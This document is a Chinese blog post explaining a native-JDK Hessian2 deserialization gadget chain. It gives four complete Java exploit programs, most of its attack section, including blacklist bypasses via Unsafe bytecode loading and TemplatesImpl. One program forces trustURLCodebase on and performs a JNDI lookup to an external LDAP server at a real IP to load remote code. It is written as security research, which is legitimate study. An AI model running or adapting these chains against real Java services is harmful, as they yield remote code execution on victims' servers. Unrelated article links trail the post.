【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过

目录

前言

原理分析

EXP

Hessian2 低版本

直接Runtime命令执行

Hessian2 高版本

利用Unsafe加载恶意字节码+二次调用触发初始化

利用TemplatesImpl实例化恶意类

jdk高版本打JNDI


前文:【Web】浅聊Hessian异常toString姿势学习&复现

前言

上篇文章介绍了Hessian2异常触发toString,“触发toString方法便可生万物,而后打法无穷也”

很容易想到常见的 Rome、XBean 等 toString,若目标环境没有这些依赖呢,有无原生jdk链子打呢?🧐

还真有,服辣服辣!感谢p4d0rn大师傅带我飞😍&下面一起来学习大佬的姿势😀

原理分析

利用链

javax.activation.MimeTypeParameterList#toString
    UIDefaults#get
        UIDefaults#getFromHashTable
            UIDefaults$LazyValue#createValue
                SwingLazyValue#createValue
                    sun.reflect.misc.MethodUtil#invoke

Hessian2触发toString后,在原生jdk环境下如何找到toString恶意利用类呢

我们关注到javax.activation.MimeTypeParameterList#toString,其调用了this.parameters#get

public String toString() {StringBuffer buffer = new StringBuffer();buffer.ensureCapacity(this.parameters.size() * 16);Enumeration keys = this.parameters.keys();while(keys.hasMoreElements()) {String key = (String)keys.nextElement();buffer.append("; ");buffer.append(key);buffer.append('=');buffer.append(quote((String)this.parameters.get(key)));}return buffer.toString();}

注意到parameters类型为Hashtable 

而UIDefaults正好继承了Hashtable

跟进UIDefaults#get

public Object get(Object key) {Object value = getFromHashtable( key );return (value != null) ? value : getFromResourceBundle(key, null);}

调用了UIDefaults#getFromHashtable,最后进到LazyValue#createValue,这里找到了合适的SwingLazyValue

public Object createValue(UIDefaults var1) {try {ReflectUtil.checkPackageAccess(this.className);Class var2 = Class.forName(this.className, true, (ClassLoader)null);Class[] var3;if (this.methodName != null) {var3 = this.getClassArray(this.args);Method var6 = var2.getMethod(this.methodName, var3);this.makeAccessible(var6);return var6.invoke(var2, this.args);} else {var3 = this.getClassArray(this.args);Constructor var4 = var2.getConstructor(var3);this.makeAccessible(var4);return var4.newInstance(this.args);}} catch (Exception var5) {return null;}}

这段代码使用了反射机制动态实例化对象或调用类静态方法

tips:

当使用 Class.forName() 方法加载类时,如果没有指定类加载器,即传入 null 作为类加载器的参数,系统将使用默认的类加载器(通常是定义该调用的类的类加载器)来加载目标类。具体表现如下:

  1. 如果当前类路径中能够找到指定名称的类,那么该类将被加载并返回对应的 Class 对象。
  2. 如果当前类路径中找不到指定名称的类,或者出现其他加载错误,将会抛出 ClassNotFoundException 异常。

就是说靶机classpath下没有的类,我们不能实例化,可利用性不强

所以考虑走类静态方法的调用

关注到sun.reflect.misc.MethodUtil#invoke是个静态方法

public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {try {return bounce.invoke((Object)null, var0, var1, var2);}

这段代码使用了反射机制动态调用指定方法,通过传入方法对象、目标对象和参数数组来实现方法的调用

MethodUtil#invoke可以调用任意类的任意方法,这不就易如反掌易如反掌了嘛(🤔

EXP

Hessian2 低版本

直接Runtime命令执行

导入pom依赖

<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.38</version></dependency>

弹计算器的神奇咒语 

package com.Hessian;import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EXP {public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void main(String[] args) throws Exception {UIDefaults uiDefaults = new UIDefaults();Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);ser(mimeTypeParameterList);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

Hessian2 高版本

Hessian2 4.0.63版本在获取反序列化器时会走com.caucho.hessian.io.ClassFactory#isAllow对类进行检查,判断类是否允许被反序列化

黑名单如下

既然MethodUtil#invoke可以调用任意类的任意方法,要RCE就要RCE地彻底,可以采用加载恶意类字节码的手段

接下来介绍两种方法:

利用Unsafe加载恶意字节码+二次调用触发初始化

 sun.misc.Unsafe · 攻击Java Web应用-[Java Web安全]

注意Unsafe#defineClass不会对类进行初始化,所以需要调用两次,在恶意类里添加一个静态方法,第一次先加载恶意类,第二次调用恶意类从而初始化执行静态代码块

 

导入pom依赖

<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency>

弹计算器的神奇咒语(第一次报错就会退出程序,所以要try catch surround一下)

package com.Hessian;import com.caucho.hessian.io.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import sun.misc.Unsafe;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;public class EXP2 {public static byte[] getPayload() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);clazz.addMethod(staticInitializer);return clazz.toBytecode();}public static Object loadClass() throws Exception {UIDefaults uiDefaults = new UIDefaults();Class<?> clazz = Class.forName("sun.misc.Unsafe");Field field = clazz.getDeclaredField("theUnsafe");field.setAccessible(true);Unsafe unsafe = (Unsafe) field.get(null);Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);byte[] bytes = getPayload();Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);return mimeTypeParameterList;}public static Object initClass() throws Exception {UIDefaults uiDefaults = new UIDefaults();SwingLazyValue slz = new SwingLazyValue("a", "exp", new Object[0]);uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);return mimeTypeParameterList;}public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void main(String[] args) throws Exception {try {ser(loadClass());} catch (Exception e) {ser(initClass());}}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

利用TemplatesImpl实例化恶意类

这个相对更好理解一些,缝就完了

package com.Hessian;import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EXP2 {public static Object loadClass() throws Exception {UIDefaults uiDefaults = new UIDefaults();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload = classPool.makeClass("Z3r4y");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes = payload.toBytecode();Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Method newTransformer = Class.forName(TemplatesImpl).getDeclaredMethod("newTransformer");setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "test");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{newTransformer, templates, new Object[]{}}} );uiDefaults.put("xxx", slz);MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);return mimeTypeParameterList;}public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void main(String[] args) throws Exception {try {ser(loadClass());} catch (Exception e) {}}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

jdk高版本打JNDI

高版本的JDK有JNDI限制的原因是trustURLCodebase默认为false

java.lang.System#setProperty方法用于设置系统属性。该方法允许在运行时更改系统的属性值。

我们可以此方法将对应版本的trustURLCodebase设置为true,绕过JNDI限制

再调用InitialContext#doLookup实现JNDI注入

package com.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EXP4 {public static void main(String[] args) throws Exception {UIDefaults uiDefaults1 = new UIDefaults();UIDefaults uiDefaults2 = new UIDefaults();Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);SwingLazyValue slz1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);SwingLazyValue slz2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://124.222.136.33:1337/#suibian"}}});uiDefaults1.put("xxx", slz1);MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1);uiDefaults2.put("xxx", slz2);MimeTypeParameterList mimeTypeParameterList2 = new MimeTypeParameterList();setFieldValue(mimeTypeParameterList2, "parameters", uiDefaults2);try {ser(mimeTypeParameterList1);} catch (Exception e) {ser(mimeTypeParameterList2);}}public static void ser(Object evil) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializablebaos.write(67);output.writeObject(evil);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/758954.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql笔记:23. 在Mac上安装与卸载MySQL

文章目录 下载MySQL安装包1. 打开MySQL官网&#xff0c;点击DOWNLOADS2. 点击GPL Downloads3. 点击MySQL Community Server打开下载页面4. 选择需要的文件进行下载5. ARM or x86 DMGbrewTAR卸载1. 在系统中卸载2. 在终端中卸载 MySQL对Mac电脑的适配十分强大&#xff0c;再加上…

Oracle with as用法

一、简介 with…as关键字&#xff0c;是以‘with’关键字开头的sql语句&#xff0c;在实际工作中&#xff0c;我们经常会遇到同一个查询sql会同时查询多个相同的结果集&#xff0c;即sql一模一样&#xff0c;这时候我们可以将这些相同的sql抽取出来&#xff0c;使用with…as定…

手拉手整合Springboot3+RocketMQ2.3

RocketMQ 基本概念 消息模型Message Model RocketMQ 主要由 Producer、Broker、Consumer 三部分组成&#xff0c;其中 Producer 负责生产消息&#xff0c;Consumer 负责消费消息&#xff0c;Broker 负责存储消息。Broker 在实际部署过程中对应一台服务器&#xff0c;每个 Bro…

PHP全新美化广告横幅在线制作源码

源码简介 可以做网站的引流不需要安装上传就可以使用&#xff0c;在第一版基础上做了二次开发更加好用 注意&#xff1a;主机和服务器均可架设搭建,如果使用宝塔架设点击访问的时候提示找不到文件路径的时候,记得点击网站目录把防跨站攻击先关闭,这样就可以正常访问了,这款是…

两台电脑简单的通信过程详解(局域网,同网段)

来源&#xff1a; https://www.bilibili.com/video/BV1BA411373b/ 一、原理 描述过程&#xff1a;分别以PC1、PC2、PC2、PC1的角度 二、eNSP测试 1.连接设备 2.查看PC1情况 3.打开抓包后&#xff0c;再ping一下PC2 4.PC1发送ARP报文 broadcast 意思为广播(IP都是f,意为255…

【数字图像处理matlab系列】保存图像

【数字图像处理系列】保存图像imwrite函数 使用函数imwrite可以将图像保存到本地上&#xff0c;该函数的语法为 imwrite(image_data, filename)其中&#xff0c;image_data是要写入的图像数据&#xff0c;可以是一个矩阵或一个三维数组&#xff08;对于彩色图像&#xff09;&…

Java代码基础算法练习-求给定3个数, 进行从小到大排序-2024.03.20

任务描述&#xff1a; 输入三个整数 x,y,z(0<x<1000&#xff0c;0<y<1000&#xff0c;0<z<1000)&#xff0c;请把这三个数由小到大输出。 任务要求&#xff1a; 代码示例&#xff1a; package march0317_0331;import java.util.Scanner;public class m24…

系统设计实例(一)百万级别用户系统

二、百万级别用户系统 原则&#xff1a; 尽可能地缓存数据采用无状态Web层支持多个数据中心在 CDN 中托管静态资源通过分片扩展数据层将层级拆分为独立的服务 负载均衡器 负载均衡器会将传入的流量均匀分配给在负载均衡集合中定义的Web服务器&#xff0c;用户直接连接负载均…

【软件测试】如何设计自动化测试脚本

企业中如何设计自动化测试脚本呢&#xff1f;今天我们就来为大家分享一些干货。 一、线性设计 线性脚本设计方式是以脚本的方式体现测试用例&#xff0c;是一种非结构化的编码方式&#xff0c;多数采用录制回放的方式&#xff0c;测试工程师通过录制回访的访问对被测系统进行…

[LCP 51. 烹饪料理] 子集型回溯

Problem: LCP 51. 烹饪料理 文章目录 思路案例分析Code 思路 子集型回溯有两种解法 输入视角 通过判断集合中的每一个元素 k&#xff0c;认为元素 k 被选入子集或不被选入子集&#xff0c;从而得到答案。其 dfs 形状是一个高度为 n 的二叉树。作为当前节点的元素 k 代表的是这…

Unity Toggle与Toggle Group的妙用

Toggle与Toggle Group结合使用&#xff0c;妙处多多。 因为在同一Toggle Group内只有一个Toggle可以被选中&#xff0c;那么对于我们要创建单选按钮组、游戏的一些开关、暗夜模式、筛选不同显示内容等功能都非常好用。 比如我要实现通过点击不同按钮,从而筛选显示不同内容&am…

ES8生产实践——ES跨集群数据迁移方案测评

引言 场景需求 经常有小伙伴咨询如何将整个es集群数据如何迁移到另一个集群&#xff0c;其中往往会涉及到以下的问题&#xff1a; 跨es版本&#xff1a;老版本es集群数据迁移到新版本es集群。 跨集群&#xff1a;源数据和目的数据分布在两个不同的集群。 跨网络&#xff1a;两…

ch6文件操作和异常处理

os.listdir(path) 函数详解 功能: os.listdir(path) 函数用于返回指定目录下的所有文件和文件夹的名字列表&#xff0c;但不包括 . 和 ..。 参数: path: 要列出的目录的路径。 返回值: 一个包含目录下所有文件和文件夹名字的列表。 示例: import ospath "/home/u…

备战秋招(coding篇)

其中coding题目来源于师兄面试经验 1、链表的结构体反转链表 本质上就是一个构造函数 struct ListNode{int val_;ListNode* next_;ListNode() : val_(0), next_(NULL) {}ListNode(int x) : val_(x), next_(NULL) {}ListNode(int x, ListNode* next) : val_(x), next_(next) …

Crypto Gladiator League (CGL)

《加密角斗士》是一款完全链上游戏。所有角斗士、装备、代币等的生成过程都可以透明追溯。不可能被篡改或欺骗&#xff0c;使所有游戏物品都是真实资产。 CGL 现已升级为全链游戏平台和 Web3 游戏流量门户&#xff0c;通过多维度收集用户数据&#xff0c;并将数据应用于游戏中&…

【Java11下载、安装、部署指南】

oracle jdk11下载 oracle jdk所有版本归档【archive】下载地址&#xff1a; https://www.oracle.com/java/technologies/downloads/archive/ oracle jdk11下载地址&#xff1a; https://www.oracle.com/java/technologies/javase/jdk11-archive-downloads.html 配置或修改wi…

软件工程-第9章 软件工程项目管理概述

9.1 软件工程管理活动 9.2 软件规模、成本和进度估算 9.3 能力成熟度模型CMM 9.4 ISO 9000系列标准简介 9.5 CMM与ISO 9000系列标准的比较 9.6 本章小结

Matlab|基于多目标粒子群算法的配电网储能选址定容

目录 一、主要内容 二、主要流程 三、部分程序 四、程序结果 五、程序链接 一、主要内容 程序是对文章《基于多目标粒子群算法的配电网储能选址定容》的方法复现&#xff0c;具体内容如下&#xff1a; 以系统节点电压水平&#xff08;电网脆弱性&#xff09;、网络损耗以及…

数据库系统概论-第5章 数据库完整性

5.1 实体完整性 5.2 参照完整性 5.3 用户定义完整性 5.4 完整性约束命名子句 5.5 域中的完整性限制 5.6 断言 5.7 触发器 5.8 小结

Pytest自动化测试框架快速上手(超详细)

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 关注公众号&#xff1a;互联网杂货铺&#xff0c;回复1 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;薪资嘎嘎涨 pytest是一个非常成熟的全功能的Python测试框架&#…